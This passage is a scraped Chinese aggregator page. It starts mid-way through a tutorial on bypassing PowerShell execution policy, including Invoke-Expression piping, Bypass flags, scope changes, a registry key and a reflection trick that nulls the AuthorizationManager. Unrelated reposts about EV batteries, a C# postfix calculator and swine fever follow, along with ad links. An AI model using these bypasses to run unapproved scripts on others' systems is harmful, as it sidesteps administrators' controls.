    Invoke-command -scriptblock {Write-Host “Its run!”}

     

     

    8、下面的命令還可以用來抓取從遠程計算機的execution policy並將其應用到本地計算機。

    Invoke-command -computername PAYLOAD\WIN-DC -scriptblock {get-executionpolicy} | set-executionpolicy -force

    這種方式經測試不可行。

    域環境下:

     

    工作組下:

     

     

    9、使用Invoke-Expression命令
    這是另一個典型的通過交互式PowerShell控制台執行的方法。這種技術不會導致配置更改或要求寫入磁盤。下面我列舉了一些常用的方法來通過Invoke-Expression繞過execution policy。

    例1:使用Get-Content的完整命令

    Get-Content .\demo.ps1 | Invoke-Expression

     

     

    示例2:使用Get-Content的簡短命令

    GC .\demo.ps1 | iex

     

     

    10、使用“Bypass”繞過Execution Policy
    當你通過腳本文件執行命令的時候這是一個很好的繞過execution policy的方法。當你使用這個標記的時候”沒有任何東西被阻止,沒有任何警告或提示”。這種技術不會導致配置更改或要求寫入磁盤。

    PowerShell.exe -ExecutionPolicy Bypass -File .\demo.ps1

     

     

    11、使用“Unrestricted”標記Execution Policy
    這類似於”Bypass”標記。當你使用這個標記的時候,它會”加載所有的配置文件並運行所有的腳本。如果你運行從網上下載的一個未被簽名的腳本,它會提示你需要權限”,這種技術不會導致配置的更改或要求寫入磁盤。

    PowerShell.exe -ExecutionPolicy UnRestricted -File .\demo.ps1

     

     

    12、使用“Remote-Signed”標記Execution Policy
    要想繞過執行限制,需要按照如下教程操作對腳本進行数字簽名。

    詳細參考:https://www.darkoperator.com/blog/2013/3/5/powershell-basics-execution-policy-part-1.html

    直接使用Remote-signed標記腳本無法運行的

    PowerShell.exe -ExecutionPolicy Remote-signed -File .\demo.ps1

     

     

    13、通過交換AuthorizationManager禁用ExecutionPolicy
    下面的函數可以通過一個交互式的PowerShell來執行。一旦函數被調用”AuthorizationManager”就會被替換成空。最終結果是,接下來的會話基本上不受execution policy的限制。然而,它的變化將被應用於會話的持續時間。

    function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield(“_context”,”nonpublic,instance”).getvalue( $executioncontext)).gettype().getfield(“_authorizationManager”,”nonpublic,instance”).setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager “Microsoft.PowerShell”))}

    Disable-ExecutionPolicy

    .\demo.ps1

     

     

    13、把ExcutionPolicy設置成Process Scope
    執行策略可以應用於多層次的。這包括你控制的過程。使用這種技術,執行策略可以被設置為您的會話的持續時間不受限制。此外,它不會導致配置更改或需要寫入到磁盤。

    Set-ExecutionPolicy Bypass -Scope Process

     

     

    14、通過命令設置ExcutionPolicy為CurrentUser Scope
    這種方法和上面那種類似。但是這種方法通過修改註冊表將當前用戶環境的設置應用到當前用戶的環境中。此外,它不會導致在配置更改或需要寫入到磁盤。

    Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted

     

     

    15、通過註冊表設置ExcutionPolicy為CurrentUser Scope
    在這個例子中,展示了如何通過修改註冊表項來改變當前用戶的環境的執行策略。

    HKEY_CURRENT_USER\Software\MicrosoftPowerShell\1\ShellIds\Microsoft.PowerShell

     

     

    總結總結

    使用的execution policy可以幫助我們繞過powershell默認的限制,方便我們對windows更加靈活的管理。微軟從來沒有打算將這種限製作為一種安全控制。這就是為什麼有這麼多方式可以繞過它。

     

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※為什麼 USB CONNECTOR 是電子產業重要的元件?

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    ※台北網頁設計公司全省服務真心推薦

    ※想知道最厲害的網頁設計公司"嚨底家"!

    ※推薦評價好的iphone維修中心

  • Samsung SDI匈牙利電動車用電池廠落成

    Samsung SDI匈牙利電動車用電池廠落成

    Samsung SDI持續擴張鋰電池相關事業,在匈牙利布達佩斯附近的Goed完成了一座電動車用動力電池的工廠,並於當地時間5月29日舉辦落成慶祝大典。此工廠預計在2018年第二季正式投產。

    Goed工廠的竣工儀式有約150名官員出席,包括匈牙利總理Viktor Orban,Samsung SDI的總裁Jun Young-hyun,匈牙利外交與貿易部長Peter Szijjarto,以及韓國駐匈牙利大使Yim Geun-hyeong等。

    Goed工廠佔地約33萬平方中尺,每年所生產的動力電池足供5萬輛電動車使用,預計在明年第二季投產。此工廠專為歐洲市場所設立,將可有效降低物流支出,還能提高對歐洲客戶的在地服務。該工廠的前身為Samsung SDI的電漿面板廠,後來調整為生產動力電池的工廠,可利用Samsung SDI的最新科技生產高功率、高效能動力電池。

    歐洲注重環保,因此是再生能源與電動車產品的一大市場。而電動車市場的擴大,直接帶動了電池的需求。

    Viktor Orban表示,匈牙利在1990年代初期,因資本主義而認識了眾多公司和品牌,並了解到:「南韓製造」意味著品質保證。他指出,韓國是匈牙利的榜樣,一個小國要建立強大的經濟,並在全球市場上佔有一席之地,關鍵就在於此。

    Goed與Samsung SDI雙方都需要這項建設,因此匈牙利政府也給予大力支持。Jun Young-hyun指出,動力電池是電動車最重要的零組件之一,Samsung SDI將會為Goed工廠引入最新的電池科技,並希望這間工廠能為歐洲的電動車市場帶來更多貢獻。

    本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※為什麼 USB CONNECTOR 是電子產業重要的元件?

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    ※台北網頁設計公司全省服務真心推薦

    ※想知道最厲害的網頁設計公司"嚨底家"!

    新北清潔公司,居家、辦公、裝潢細清專業服務

    ※推薦評價好的iphone維修中心

  • 上海大眾推朗逸純電動轎車 有望2013年上市

    上汽集團推出了上海大眾針對中國市場量身打造的首款——朗逸純電動轎車。據悉,新車已經具備了量產條件,最快有望在2013年上市銷售。

    朗逸純電動轎車基於量產車型大眾朗逸開發,新車由安裝在車頭部位的電動機驅動,最大功率為85kW,最大扭矩為270Nm,0-100km/h加速用時約11秒,最高時速可達135km/h,續駛里程可達125km。

    本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※為什麼 USB CONNECTOR 是電子產業重要的元件?

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    ※台北網頁設計公司全省服務真心推薦

    ※想知道最厲害的網頁設計公司"嚨底家"!

    新北清潔公司,居家、辦公、裝潢細清專業服務

    ※推薦評價好的iphone維修中心

  • C#數據結構與算法系列(十):逆波蘭計算器——逆波蘭表達式(後綴表達式)

    C#數據結構與算法系列(十):逆波蘭計算器——逆波蘭表達式(後綴表達式)

    1.介紹

    後綴表達式又稱逆波蘭表達式,與前綴表達式相似,只是運算符位於操作數之後

    2.舉例說明

    (3+4)*5-6對應的後綴表達式就是3 4 +5 * 6 –

    3.示例

    輸入一個逆波蘭表達式(後綴表達式),使用棧(Stack),計算其結果

    思路分析:

    從左至右掃描表達式,遇到数字時,將数字壓入堆棧,遇到運算符時,彈出棧頂的兩個數,用運算符對它們做相應的計算(次頂元素 和 棧頂元素),並將結果入棧;

    重複上述過程直到表達式最右端,最後運算得出的值即為表達式的結果例如: (3+4)×5-6 對應的後綴表達式就是 3 4 + 5 × 6 – , 

    針對後綴表達式求值步驟如下:

    從左至右掃描,將3和4壓入堆棧;
    遇到+運算符,因此彈出4和3(4為棧頂元素,3為次頂元素),計算出3+4的值,得7,再將7入棧;
    將5入棧;
    接下來是×運算符,因此彈出5和7,計算出7×5=35,將35入棧;
    將6入棧;
    最後是-運算符,計算出35-6的值,即29,由此得出最終結果

    代碼實現:

    using System;
    using System.Collections.Generic;
    using System.Text.RegularExpressions;
    
    namespace DataStructure
    {
        public class PolandNotation
        {
            public static void Test()
            {
                try
                {
                    //定義逆波蘭表達式
                    string suffixExpression = "3 4 + 5 * 6 -";
    
                    //將suffixExpression轉換成鏈表的方式
                    var list = GetListString(suffixExpression);
    
                    //輸出結果
                    var result = Calculate(list);
    
                    Console.WriteLine($"{suffixExpression}的結果是{result}");
                }
                catch (Exception ex)
                {
                    Console.WriteLine(ex.Message);
                }
               
            }
            /// <summary>
            /// 獲取集合
            /// </summary>
            /// <param name="suffixExpression"></param>
            /// <returns></returns>
            public static List<string> GetListString(string suffixExpression)
            {
                //首先實例化List
                List<string> list = new List<string>();
    
                //將字符串通過空格切換成數組
                string[] split=suffixExpression.Split(" ");
    
                //循環添加
                foreach (var item in split)
                {
                    list.Add(item);
                }
    
                return list;
            }
    
            /// <summary>
            /// 計算
            /// </summary>
            /// <param name="list"></param>
            /// <returns></returns>
            public static int Calculate(List<string> list)
            {
                //創建棧
                Stack<string> stack = new Stack<string>();
    
                //循環遍歷
                list.ForEach(item =>
                {
                    //正則表達式判斷是否是数字,匹配的是多位數
                    if (Regex.IsMatch(item,"\\d+"))
                    {
                        //如果是数字直接入棧
                        stack.Push(item);
                    }
                    //如果是操作符
                    else
                    {
                        //出棧兩個数字,並運算,再入棧
                        int num1 =int.Parse(stack.Pop());
    
                        int num2 = int.Parse(stack.Pop());
    
                        int result = 0;
    
                        if(item.Equals("+"))
                        {
                            result = num2 + num1;
                        }
                        else if(item.Equals("*"))
                        {
                            result = num2 * num1;
                        }
                        else if(item.Equals("/"))
                        {
                            result = num2 / num1;
                        }
                        else if (item.Equals("-"))
                        {
                            result = num2 - num1;
                        }
                        else
                        {
                            throw new Exception("無法識別符號");
                        }
    
                        stack.Push(""+result);
                    }
                });
    
                //最後把stack中數據返回
                return int.Parse(stack.Pop());
            }
        }
    }

    結果圖:

     

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※為什麼 USB CONNECTOR 是電子產業重要的元件?

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    ※台北網頁設計公司全省服務真心推薦

    ※想知道最厲害的網頁設計公司"嚨底家"!

    新北清潔公司,居家、辦公、裝潢細清專業服務

    ※推薦評價好的iphone維修中心

  • 非洲豬瘟疫情防控 南韓今年確診11起

    摘錄自2020年01月12日中央通訊社南韓報導

    南韓環境部和國立環境科學院今天(12日)表示,自去年10月3日首次確診以來,截至10日共有66起確診感染非洲豬瘟(ASF)病毒,僅今年就有11起確診,疫情防控上仍有很大挑戰。

    南韓聯合新聞通訊社報導,去年10月(18起)、11月(15起)、12月(22起)平均每天有0.5~0.7起確診,但今年以來每天發現1起以上感染死豬。江原道華川地區最近首次發現感染非洲豬瘟的野豬屍體。

    之前僅在京畿道漣川(26起)、坡州(22起)、江原道鐵原(17起)發現感染非洲豬瘟的野豬屍體,此次擴散到華川。

    報導說,政府9日召開會議檢討非洲豬瘟疫情應對情況。雖然確診疫情數在增加,但政府官員認為,這是防疫過程中的自然現象。不過由於家豬傳播非洲豬瘟病毒的可能性沒有完全消失,將繼續加強防疫監管。

    本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※為什麼 USB CONNECTOR 是電子產業重要的元件?

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    ※台北網頁設計公司全省服務真心推薦

    ※想知道最厲害的網頁設計公司"嚨底家"!

    新北清潔公司,居家、辦公、裝潢細清專業服務

    ※推薦評價好的iphone維修中心